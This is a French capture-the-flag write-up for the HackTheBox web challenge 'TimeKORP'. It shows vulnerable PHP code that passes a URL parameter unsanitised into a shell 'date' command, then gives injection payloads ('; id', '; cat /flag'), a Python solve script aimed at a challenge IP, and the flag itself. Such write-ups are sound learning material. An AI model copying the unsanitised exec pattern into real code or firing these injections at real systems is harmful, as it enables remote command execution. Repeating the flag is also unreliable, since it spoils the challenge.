TimeKORP

Catégorie: Web Difficulté: very-easy Flag: HTB{t1m3_f0r_th3_ult1m4t3_pwn4g3}

Challenge

Description


Are you ready to unravel the mysteries and expose the truth hidden within Korp's digital domain? Join the challenge and prove your prowess in the world of cybersecurity. Remember, time is money, but in this case, the rewards may be far greater than you imagine.

Analyse

Site web

En cliquant sur What’s the date on voit que l’on passe dans l’URL la variable format avec ce qui ressemble beaucoup à un format de date.

Code source

Dans les fichiers fournis, on trouve TimeController.php dans lequel on voit que l’on récupère notre variable format passée dans l’URL. Celle-ci est ensuite utilisée pour instancier la classe TimeModel

<?php
class TimeController
{
    public function index($router)
    {
        $format = isset($_GET['format']) ? $_GET['format'] : '%H:%M:%S';
        $time = new TimeModel($format);
        return $router->view('index', ['time' => $time->getTime()]);
    }
}

Et dans le fichier TimeMode.php on découvre que notre format est passé directement dans une commande sans être assainie

<?php
class TimeModel
{
    public function __construct($format)
    {
        $this->command = "date '+" . $format . "' 2>&1";
    }

    public function getTime()
    {
        $time = exec($this->command);
        $res  = isset($time) ? $time : '?';
        return $res;
    }
}

Il faut donc simplement injecter la commande. Pour cela, on va fermer la quote ' puis chaîner une commande arbitraire. Il ne faut pas oublier de rouvrir une quote à la fin pour que le tout soit valide

Ce qui fait que la commande qui normalement ressemble à ça : date '*notre_input*' 2>&1

Donc avec le payload '; id' la commande exécutée sera : date ''; id'' 2>&1

Toujours dans les fichiers source, grâce au Dockerfile on sait que le flag se trouve ici : /flag

Donc on a notre payload à mettre dans la variable format : '; cat /flag'


Script de résolution

import requests
from bs4 import BeautifulSoup
from urllib.parse import quote

def solve(url):
    payload = "'; cat /flag'"
    response = requests.get(f'{url}?format={quote(payload)}')
    soup = BeautifulSoup(response.content, 'html.parser')
    flag = soup.find('h1', {'class': 'jumbotron-heading'}).text[6:-1]
    print(f'Flag: {flag}')

if __name__ == '__main__':
    solve('http://83.136.249.253:53224')

Dernière mise à jour

Cet article vous a-t-il été utile ?